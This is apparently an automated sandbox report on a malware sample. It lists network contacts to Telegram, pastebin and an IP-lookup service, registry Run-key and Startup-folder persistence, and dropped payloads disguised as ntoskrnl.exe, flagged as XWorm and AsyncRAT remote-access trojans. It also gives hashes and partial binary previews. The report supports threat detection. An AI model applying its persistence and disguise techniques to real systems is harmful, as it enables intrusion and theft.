https://word.office.comSRD1#	svchost.exe, 00000026.00000003.1881507986.000001E7315C3000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1865374046.000001E7313E5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000003.1890613326.000001E7312FC000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000000.1636269536.000001E731666000.00000004.00000001.00020000.00000000.sdmp	false		high
http://Passport.NET/tb	Microsoft-Windows-LiveId%4Operational.evtx.21.dr	false		high
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1460763535.000001A83B9D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1574489428.000001FE64291000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl3.dX	lsass.exe, 0000000A.00000000.1462114586.00000213BCE49000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 0000000A.00000002.2784025067.00000213BCE4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462178679.00000213BCE4E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 0000000A.00000002.2781804179.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000A.00000000.1462114586.00000213BCE2F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	KrnlSetupSus.exe, 00000003.00000002.2788044587.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1460763535.000001A83B9D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1574489428.000001FE64291000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com	KrnlSetupSus.exe, 00000003.00000002.2788044587.0000000002E2A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://excel.office.comcomD	svchost.exe, 00000026.00000003.1890329925.000001E7311D6000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
115.69.183.222	unknown	New Zealand	55850	TRUSTPOWERLTD-AS-APTrustPowerLtdNZ	false
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1575208
Start date and time:	2024-12-14 18:52:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	33
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RdLfpZY5A9.exe renamed because original name is a hash value
Original Sample Name:	b871ed20d46a9be3a4aedb5facad152ab24289b6866076cb7ffc59721ca7525c.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@16/81@3/4
EGA Information:	Successful, ratio: 85.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 106 Number of non-executed functions: 215
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 20.190.147.2, 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, sls.update.microsoft.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target RdLfpZY5A9.exe, PID 7312 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7712 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: RdLfpZY5A9.exe

Simulations

Behavior and APIs

Time	Type	Description
12:53:04	API Interceptor	53x Sleep call for process: powershell.exe modified
12:53:38	API Interceptor	407465x Sleep call for process: winlogon.exe modified
12:53:39	API Interceptor	313180x Sleep call for process: lsass.exe modified
12:53:40	API Interceptor	5412x Sleep call for process: svchost.exe modified
12:53:42	API Interceptor	391643x Sleep call for process: dwm.exe modified
12:53:43	API Interceptor	390x Sleep call for process: KrnlSetupSus.exe modified
12:53:59	API Interceptor	138x Sleep call for process: spoolsv.exe modified
12:54:08	API Interceptor	84x Sleep call for process: dllhost.exe modified
18:53:45	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ntoskrnl C:\ProgramData\ntoskrnl.exe
18:53:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ntoskrnl C:\ProgramData\ntoskrnl.exe
18:54:02	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ntoskrnl.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	7laJ4zKd8O.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	ip-api.com/json/
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	ip-api.com/json/
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	ip-api.com/json/
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	ip-api.com/line/?fields=hosting
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	Chrome Browser Update.exe	Get hash	malicious	Predator	Browse	ip-api.com/json/
	boleto.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	taskhost.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	XClient.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
149.154.167.220	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse
	888.exe	Get hash	malicious	Luca Stealer	Browse
	888.exe	Get hash	malicious	Luca Stealer	Browse
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse
	XClient.exe	Get hash	malicious	XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	file.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
	main.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	CVmkXJ7e0a.exe	Get hash	malicious	SheetRat	Browse	104.20.4.235
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.19.24
	http://annavirgili.com	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	172.67.19.24
	KrnlSetup.exe	Get hash	malicious	XWorm	Browse	104.20.3.235
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	rrats.exe	Get hash	malicious	AsyncRAT	Browse	172.67.19.24
	Q8o0Mx52Fd.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
ip-api.com	7laJ4zKd8O.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	208.95.112.1
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	208.95.112.1
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Chrome Browser Update.exe	Get hash	malicious	Predator	Browse	208.95.112.1
	boleto.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	taskhost.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
api.telegram.org	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220
	888.exe	Get hash	malicious	Luca Stealer	Browse	149.154.167.220
	https://grizzled-overjoyed-bag.glitch.me/#comercial.portugal@eurofred.com	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	XClient.exe	Get hash	malicious	XWorm	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	7VfKPMdmiX.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7VfKPMdmiX.exe	Get hash	malicious	Unknown	Browse	149.154.167.99
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	149.154.167.99
TUT-ASUS	7laJ4zKd8O.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	208.95.112.1
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	208.95.112.1
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	208.95.112.1
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	Chrome Browser Update.exe	Get hash	malicious	Predator	Browse	208.95.112.1
	boleto.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	taskhost.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	XClient.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
TRUSTPOWERLTD-AS-APTrustPowerLtdNZ	KrnlSetup.exe	Get hash	malicious	XWorm	Browse	115.69.183.222
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	139.180.112.101
	357oRnNepg.elf	Get hash	malicious	Unknown	Browse	14.137.171.2
	HOHD9C7W11.elf	Get hash	malicious	Moobot	Browse	116.251.148.249
	v859oajfVH.elf	Get hash	malicious	Unknown	Browse	115.69.189.181
	pandora.x86	Get hash	malicious	Mirai	Browse	116.251.148.208
	L1fzVJ2Qwl	Get hash	malicious	Unknown	Browse	139.180.79.19
	z3hir.arm	Get hash	malicious	Mirai	Browse	139.180.79.43
	notabotnet.arm	Get hash	malicious	Mirai	Browse	101.53.197.251
	OlR2ldXttM	Get hash	malicious	Unknown	Browse	101.53.215.29

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	FEDEX234598765.html	Get hash	malicious	WinSearchAbuse	Browse	149.154.167.220 104.20.4.235
	3edTbzftGf.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220 104.20.4.235
	NOTIFICATION_OF_DEPENDANTS.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220 104.20.4.235
	PO_0099822111ORDER.js	Get hash	malicious	Remcos	Browse	149.154.167.220 104.20.4.235
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 104.20.4.235
	file.exe	Get hash	malicious	XWorm	Browse	149.154.167.220 104.20.4.235
	gjvU5KOFhX.exe	Get hash	malicious	Discord Token Stealer, Millenuim RAT	Browse	149.154.167.220 104.20.4.235
	svhost.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220 104.20.4.235
	hvqc3lk7ly.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220 104.20.4.235
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220 104.20.4.235

Process:	C:\Users\user\Desktop\RdLfpZY5A9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	165888
Entropy (8bit):	7.815558274002771
Encrypted:	false
SSDEEP:	3072:eQpsbfyjozLuU7WzDvqu5faCaVKx9Hbsd8m8Z7f+BKA+YeufSMyoU+:eQpsbfyjoz5Aiu9wVKjHod5IfeXeuf7I
MD5:	B5F6C9AC3389F5E61B4C750CF950E27C
SHA1:	DBE0CCA47AB36938ED022311F97736FC2915FF06
SHA-256:	BD4062E261A7AC5893E95A88D79564B44AAD58CA446C3649A50589415B64D098
SHA-512:	014F187B94012F0A5077908107A7B0F3C7EFAE9EDF1A6EA7C395E387830E2FE84105A12EA8446311E0FC25FBE2790F56B614C9726507A22FEE7BAA46B2C4487C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Rootkit77, Description: Yara detected 77Rootkit, Source: C:\ProgramData\Install.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$........P.R.1...1...1.......1.......1...1...1..r....1..r....1...1u..1..r....1..Rich.1..................PE..L....k]g...............*.....x............... ....@.......................................@.................................D9..x....@..8V...........................8..8............................................ ...............................text............................... ..`.rdata..4.... ......................@..@.rsrc...8V...@...X..................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KrnlSetupSus.exe

Process:	C:\Users\user\Desktop\RdLfpZY5A9.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	5.976836669615479
Encrypted:	false
SSDEEP:	1536:JyjBt6rjD8L0x+dykPoziDzbQcvxUu++6ZOF6g+NRKWi:J0H64IsMjIbQcZUdOsbNdi
MD5:	6435792D63BE630506EB9EEBBD1E3878
SHA1:	37F7023B735B3F8CD65803BC704AD529F896FF4A
SHA-256:	DC4F64BA228C5D301A8D64BD8C172B45779583375D3C1BE3C83C3CD1C7D2A5E3
SHA-512:	88AF5A007D8D21B057740F42EBEA3C4FE529924637B2C6B027ED520905EE8445F6B70D7A069457F82134E2C4405B0641F7620ADCCD8ABB1C2CA1DD62CD127955
Malicious:	true
Yara Hits:	Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\ProgramData\KrnlSetupSus.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\KrnlSetupSus.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.[g.................J...........i... ........@.. ....................................@.................................4i..W.................................................................................... ............... ..H............text....I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B................pi......H........p..D.......&.....................................................(.....r...p. .....(.....rm..p. E/...s.........s.........s.........s..........r...p. .....r...p. mh...r...p. 6/...r...p. ....r...p. ~.H...((....r...p. S....r...p. ....(-...-.(....,.+.(/...,.+.(,...,.+.(+...,..(e..."(....+.&(,...&+..+5sr... .... .'..os...(,...~....-.(e...(W...~....ot...&.-..r+..p. .(T..rG..p.rc..p. .x!..r...p. O....r...p.r...p.r...p.r...p. ....r..

C:\ProgramData\ntoskrnl.exe

Process:	C:\ProgramData\KrnlSetupSus.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	5.976836669615479
Encrypted:	false
SSDEEP:	1536:JyjBt6rjD8L0x+dykPoziDzbQcvxUu++6ZOF6g+NRKWi:J0H64IsMjIbQcZUdOsbNdi
MD5:	6435792D63BE630506EB9EEBBD1E3878
SHA1:	37F7023B735B3F8CD65803BC704AD529F896FF4A
SHA-256:	DC4F64BA228C5D301A8D64BD8C172B45779583375D3C1BE3C83C3CD1C7D2A5E3
SHA-512:	88AF5A007D8D21B057740F42EBEA3C4FE529924637B2C6B027ED520905EE8445F6B70D7A069457F82134E2C4405B0641F7620ADCCD8ABB1C2CA1DD62CD127955
Malicious:	true
Yara Hits:	Rule: JoeSecurity_TelegramRecon, Description: Yara detected Telegram Recon, Source: C:\ProgramData\ntoskrnl.exe, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\ntoskrnl.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\ntoskrnl.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\ProgramData\ntoskrnl.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\ntoskrnl.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...J.[g.................J...........i... ........@.. ....................................@.................................4i..W.................................................................................... ............... ..H............text....I... ...J.................. ..`.rsrc................L..............@..@.reloc...............R..............@..B................pi......H........p..D.......&.....................................................(.....r...p. .....(.....rm..p. E/...s.........s.........s.........s..........r...p. .....r...p. mh...r...p. 6/...r...p. ....r...p. ~.H...((....r...p. S....r...p. ....(-...-.(....,.+.(/...,.+.(,...,.+.(+...,..(e..."(....+.&(,...&+..+5sr... .... .'..os...(,...~....-.(e...(W...~....ot...&.-..r+..p. .(T..rG..p.rc..p. .x!..r...p. O....r...p.r...p.r...p.r...p. ....r..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RdLfpZY5A9.exe.log

Process:	C:\Users\user\Desktop\RdLfpZY5A9.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D

Process:	C:\Windows\System32\lsass.exe
File Type:	data
Category:	modified
Size (bytes):	11136
Entropy (8bit):	7.977735047841484
Encrypted:	false
SSDEEP:	192:SqzHGn8GpB3kqHOJwixL9LmSKa2rlMOr5ROdqyAyqs+49mcdGelsv8ZsdxE2Z7v:Sqzm8GpiCOJwid9qcKlMOr5RlyAS+49k
MD5:	709904CF96EF7602A991D71596E3F4D4
SHA1:	9B6075BEEA81F50A1DC9FA6A40311C534F61B9F3
SHA-256:	F7305889D212C0F48719DA29AEBD40362388D07047A2A7C3AFB42BD932832C92
SHA-512:	A5C901AE1A1BD6BA9EFFAE9C55A13AAB538CE186C6583AEDE62CFBF12AB43CEED6045A66AB4D6A222838718A1E9C5407F088EEB750B98C0497A5516C78B7645C
Malicious:	false
Preview:	....t+..................z..O.......$j/.j.C.h......... 0...L.o.c.a.l. .C.r.e.d.e.n.t.i.a.l. .D.a.t.a........f...... ......jg.._q.=+\|C.m..jD...+`...S>cw............ ...^.w).:...I..?...!..R`..&..4.e:p..F>~.r......h%.x.l.....q.;...I"...../.(....e&.$\|{..wM.b........,.bl1..:.r.....<..a. .........ioE.c..s..z.jz.hc...y..d.R..P.g...P....:..5..n 92...O..n-.q..k.<...a!z.q."..7..e.=s....1gP...........).....h.3..82 s.E^..%..,R.W...q.......h}.S.2..:L...Z...4N.\..........'o..v..?...@..........mz.j_.\|w`.#..yM.......7..:.......-. .K.7.a..lrTa.s....wwWA.]..}......v.._........Y.....@}{..................z..&C...T..=$<v..H.../.[.s...q...9.(...}...L.dk)/N.MI.x...`c{P....E....c}...oM.O^..G.U.z..S.:..4...M..~n...04.......`...M..t.E....QJwv.t,O....g`C.z oC..,......%.* ......oO..guZ....%...}.H..G.%..%.w..}..={.oo7.....N..WZ..".<.....5.\|.//...'......{W....;.y..H...Y~..G....a\|.UX.X...<l....G.X.4:...:U.g.3p#...l.M;..O'.U.59O.O....e.0.....2.7Pr......7KM.....xX,i.a.."1..E..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulPki/llllZ:NllUcylll
MD5:	D8D47FD6FA3E199E4AFF68B91F1D04A8
SHA1:	788625E414B030E5174C5BE7262A4C93502C2C21
SHA-256:	2D9AF9AB25D04D1CF9B25DB196A988CD6E4124C1B8E185B96F2AB9554F4A6738
SHA-512:	5BFD83D07DC3CB53563F215BE1D4D7206340A4C0AB06988697637C402793146D13CDDE0E27DC8301E4506553D957876AC9D7A7BF3C7431BBDD5F019C17AB0A58
Malicious:	false
Preview:	@...e.................................^..............@..........

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\ProgramData\KrnlSetupSus.exe
File Type:	Generic INItialization configuration [WIN]
Category:	modified
Size (bytes):	58
Entropy (8bit):	3.598349098128234
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr42VjFYJKXzovX:EFYJKDoWr5FYJKDoP
MD5:	5362ACB758D5B0134C33D457FCC002D9
SHA1:	BC56DFFBE17C015DB6676CF56996E29DF426AB92
SHA-256:	13229E0AD721D53BF9FB50FA66AE92C6C48F2ABB785F9E17A80E224E096028A4
SHA-512:	3FB6DA9993FBFC1DC3204DC2529FB7D9C6FE4E6F06E6C8E2DC0BE05CD0E990ED2643359F26EC433087C1A54C8E1C87D02013413CE8F4E1A6D2F380BE0F5EB09B
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]....### explorer ###..r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1r3stjoo.ff1.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4h25ft0p.2ye.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kp4xihr2.gtd.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ndjm5qrp.kxq.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
